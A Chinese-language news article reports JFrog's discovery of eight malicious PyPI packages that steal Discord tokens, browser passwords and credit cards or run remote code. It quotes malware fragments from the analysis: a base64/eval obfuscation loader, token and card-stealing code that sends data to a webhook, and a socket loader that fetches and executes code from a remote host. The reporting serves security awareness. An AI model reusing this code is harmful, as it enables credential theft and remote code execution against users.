危!Python 官方存储库 PyPI 再成“祸源”?
点击上图,查看教学大纲
PyPI,作为 Python 的官方第三方软件包存储库,一直广受开发者欢迎,所有人都可以下载第三方库或上传自己开发的库到 PyPI,与之类似的还有 Ruby 的 RubyGems 和 JavaScript 的 NPM。
但也正因如此,这些流行存储库时常被滥用,许多恶意软件藏匿其中,加之其官方第三方存储库的身份,开发者容易盲目信任并安装这些来源的软件包。因此一旦有恶意软件成功上传至这些存储库中,造成的杀伤力都不容小觑。
近日,DevOps 软件供应商 JFrog 的安全研究团队在 PyPI 中又发现了 8 个恶意软件包,不仅会在设备上注入恶意代码,还能窃取 Discord(一款聊天软件)的登录信息及信用卡信息。
而根据 PePy 网站(一个统计 Python 包下载量的网站)的统计,这 8 个软件包的下载次数估计达到了 3 万次!
8 个恶意软件包使用的是同一种混淆技术
以下是 JFrog 在 PyPI 中发现的 8 个恶意软件包:
由该表可知,这 8 个恶意软件包主要分为两种:
一种是 noblesse 及其变体 genesisbot、aryi、suffer、noblesse2 和 noblessev2,主要在 Windows 系统上窃取 Discord 的登录信息和浏览器存储的信用卡信息;
另一种是 pytagora 及其变体 pytagora2,主要在受感染的设备上注入并执行恶意代码。
JFrog 安全研究团队通过分析得知,这 8 个恶意软件包都使用了同一种混淆技术,使其得以成功上传至 PyPI:首先,用一些简单的编码器(例如 Base64)编码 Python 文本;然后,用 eval()函数将解码后的文本作为代码进行评估。恶意软件包 nobleesse2 的主代码就是如此:
import base64, codecs
magic = 'aW1wb3J0IGNvbG9yYW1hLCBkYXRldGltZS...'
love = '0iLKOcY3L4Y2q1nJkxpl97nJE9Y2EyoTI0M...'
god = 'a2luZy5hcHBlbmQodG9rZW4pDQogICAgICAg...'
destiny = 'yxIKAVDaAQK3xjpQWkqRAboUcBIzqjEmS...'
joy = '\x72\x6f\x74\x31\x33'
trust = eval('\x6d\x61\x67\x69\x63') + eval('\x63\x6f\x64\x65\x63\x73\x2e\x64...')
eval(compile(base64.b64decode(eval('\x74\x72\x75\x73\x74')),'','exec'))
由于这种混淆技术可以骗过较为简单的静态分析工具,因此这也是许多新手攻击者上传 Python 恶意软件包时经常采用的一种方式。
JFrog 首席技术官 Asaf Karas 对此表示:“越来越多的攻击者利用简单的混淆技术来引入恶意软件,这意味着开发人员必须时刻保持关注和警惕。同时,这也是一种系统性威胁,需要在包括软件存储库的维护人员和开发人员等不同层面上进行解决。”
技术分析
如上文所说,JFrog 安全研究团队发现的这 8 个恶意软件包分为两种,其中以 noblesse 为首的前 6 个恶意软件包中含有 3 个有效负载(payload):
窃取 Discord 身份验证 token
一旦攻击者获得身份验证 token,就可以冒充最初持有 token 的用户进行登录。据了解,窃取 token 的这个有效负载基于 dTGPG(Discord Token Grabber Payload Generator),它虽未公开发布,但其有效负载可在 Github 上找到相关示例,因此攻击者可参考借鉴。
窃取 Discord 身份验证 token 的代码非常简单,它迭代了一组硬编码的路径:
local = os.getenv('LOCALAPPDATA')
roaming = os.getenv('APPDATA')
paths = {
'Discord': roaming + '\\Discord',
'Discord Canary': roaming + '\\discordcanary',
'Discord PTB': roaming + '\\discordptb',
'Google Chrome': local + '\\Google\\Chrome\\User Data\\Default',
'Opera': roaming + '\\Opera Software\\Opera Stable',
'Brave': local + '\\BraveSoftware\\Brave-Browser\\User Data\\Default',
'Yandex': local + '\\Yandex\\YandexBrowser\\User Data\\Default'
}
随后便可以读取这些路径下所有的 .log 和 .ldb 文件,查找 Discord 身份验证 token,所得结果通过 Webhook(一种将自动获取的消息和数据更新发送到私人服务器上的简单方法)上传到 Discord,所用参数如下:
{
"type": 1,
"id": "807327703082074143",
"name": "Captain Hook",
"avatar": null,
"channel_id": "725001140324008047",
"guild_id": "720931953251057725",
"application_id": null,
"token": "uwAgm7PQaROJB3USUNDv1RT7uJzfidUsHBsC_y0p2qtChlzNVgpG1vw2zAtkFX-8Xq-x"
}
自动窃取在浏览器上存储的所有密码和信用卡数据
我们都知道,现在几乎所有浏览器都支持为用户保存密码和信用卡信息的功能,为用户提供便利的同时,也为恶意软件敞开了大门。noblesse 这一系列恶意软件包的第二个有效负载就是自动窃取在浏览器上存储的所有密码和信用卡数据。
举个例子,恶意软件会从 Chrome 浏览器中窃取信用卡信息:
def cs():
master_key = master()
login_db = os.environ['USERPROFILE'] + os.sep + \
r'AppData\Local\Google\Chrome\User Data\default\Web Data'
shutil.copy2(login_db,
"CCvault.db")
conn = sqlite3.connect("CCvault.db")
cursor = conn.cursor()
try:
cursor.execute("SELECT * FROM credit_cards")
for r in cursor.fetchall():
username = r[1]
encrypted_password = r[4]
decrypted_password = dpw(
encrypted_password, master_key)
expire_mon = r[2]
expire_year = r[3]
hook.send(f"CARD-NAME: " + username + "\nNUMBER: " + decrypted_password + "\nEXPIRY M: " + str(expire_mon) + "\nEXPIRY Y: " + str(expire_year) + "\n" + "*" * 10 + "\n")
也可以从 Edge 浏览器窃取存储的密码和信用卡信息:
login_db = os.environ['USERPROFILE'] + os.sep + r'\AppData\Local\Microsoft\Edge\User Data\Profile 1\Login Data'
...
cursor.execute("SELECT action_url, username_value, password_value FROM logins")
decrypted_password = dpw(encrypted_password, master_key)
if username != "" or decrypted_password != "":
hook.send(f"URL: " + url + "\nUSER: " + username + "\nPASSWORD: " + decrypted_password + "\n" + "*" * 10 + "\n")
以上所有窃取的信息同样会通过 Webhook 发送给攻击者。
收集受感染 PC 的信息
noblesse 系列的第三个有效负载是收集受感染 PC 的信息,所有信息也将通过同样的 Webhook 落入攻击者手中。
相比 noblesse 系列,pytagora 系列的 2 个恶意软件包就显得简单许多。在“使 pytagora 定理变得容易”这个介绍的伪装下,该软件包的代码一目了然:
import math
import base64,sys
def hello():
exec(base64.b64decode('aW1wb3J0IHNvY2tldCxzdHJ1Y3Qs...'))
def hypotenuse(a,b):
hello()
c = math.sqrt(math.pow(a,2) + math.pow(b,2))
return round(c,2)
def other(c,x):
y = math.sqrt(math.pow(c,2)-math.pow(x,2))
return round(y,2)
而通过混淆技术,原代码被解码成如下片段:
import socket,struct,time
s=socket.socket(2,socket.socket.socket.SOCK_STREAM)
s.connect(('172.16.60.80',9009))
l=struct.unpack('>I',s.recv(4))[0]
print (l)
d=s.recv(l)
print (d)
while len(d)>!1:
d+=s.recv(l-len(d))
print (d)
exec(d,{'s':s})
所幸,JFrog 安全研究团队在发现这 8 个恶意软件包后就立即反映给了 PyPI,其维护者 Dustin Ingram 也迅速回应并从 PyPI 中删除了这些恶意软件包。
PyPI 竟成恶意软件的传播平台?
稍微了解的人都知道,PyPI 的滥用问题已持续了很久。
早在 2016 年就有一名大学生将恶意软件包上传至 PyPI,随后在几个月的时间里被运行了四万多次,成功获取了许多设备的最高管理权限;2017 年,斯洛伐克国家安全局(NBU)在 PyPI 中发现了十个恶意软件库;2018 年,一位安全研究者 Bertus 对 PyPI 进行安全扫描时也发现了 12 个恶意软件包,不仅可以开启后门,还可以盗取比特币。
甚至今年仅到目前为止,都已经发生过两次危机:一次是 5 月被黑客通过发布垃圾软件包发起洪水攻击;一次是 6 月发现被下载约 5000 次的假冒软件包。
这类问题的层出不穷或许要归咎于公共软件存储库缺乏自动化安全控制,因此即使是没有经验的攻击者也可以将其用作传播恶意软件的平台。这也令 JFrog 研究人员感到担忧,他表示:“基于当前存储库安全状态,未来互联网很可能还会遭遇更多攻击。”
参考链接:
https://arstechnica.com/gadgets/2021/07/malicious-pypi-packages-caught-stealing-developer-data-and-injecting-code/?comments=1&post=40097199
https://jfrog.com/blog/malicious-pypi-packages-stealing-credit-cards-injecting-code/
扫码,微店优惠购书
配套视频演示